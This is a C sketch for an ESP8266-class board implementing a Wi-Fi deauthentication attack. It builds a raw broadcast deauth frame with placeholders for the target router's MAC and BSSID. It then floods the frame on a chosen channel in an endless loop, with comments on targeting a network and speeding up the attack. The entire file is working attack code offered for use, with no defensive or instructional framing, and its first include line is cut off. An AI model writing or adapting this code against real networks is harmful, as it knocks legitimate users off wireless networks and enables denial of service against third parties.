#include
// Define the packet structure for the deauthentication frames
uint8_t deauthPacket[26] = {
0xC0, 0x00, // Frame Control (Type: Management, Subtype: Deauthentication)
0x3A, 0x01, // Duration
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Destination MAC (Broadcast)
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Source MAC (Change to match your router's MAC)
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // BSSID (Change to match your router's BSSID)
0x00, 0x00, // Fragment/Sequence Number
0x07, 0x00 // Reason Code (0x07: Class 3 frame received from non-associated station)
};
// Set the channel for your deauth attack
void setChannel(int channel) {
if (channel < 1 || channel > 13) {
channel = 1;
}
WiFi.begin(); // Start the WiFi module
WiFi.disconnect(); // Disconnect from any network
delay(100); // Give time to reset
wifi_set_channel(channel); // Set WiFi to the specific channel
}
void sendDeauth() {
// Start the deauth attack by sending out deauthentication frames
for (int i = 0; i < 100; i++) {
delay(1); // Reduce this delay to speed up the attack
wifi_send_pkt_freedom(deauthPacket, 26, 0); // Send the packet
}
}
void setup() {
// Setup WiFi in monitor mode for sending raw packets
Serial.begin(115200);
Serial.println("Starting Wi-Fi Deauther");
WiFi.mode(WIFI_OFF); // Disable WiFi connection mode
WiFi.forceSleepBegin();
delay(1);
// Set the WiFi interface in promiscuous mode
wifi_set_opmode(STATION_MODE);
wifi_promiscuous_enable(1);
}
void loop() {
// Specify the Wi-Fi channel you want to target
setChannel(6); // Replace '6' with the channel of the target network
// Call the function to send deauthentication frames
sendDeauth();
delay(1000); // Wait for a second before next round of deauthentication
}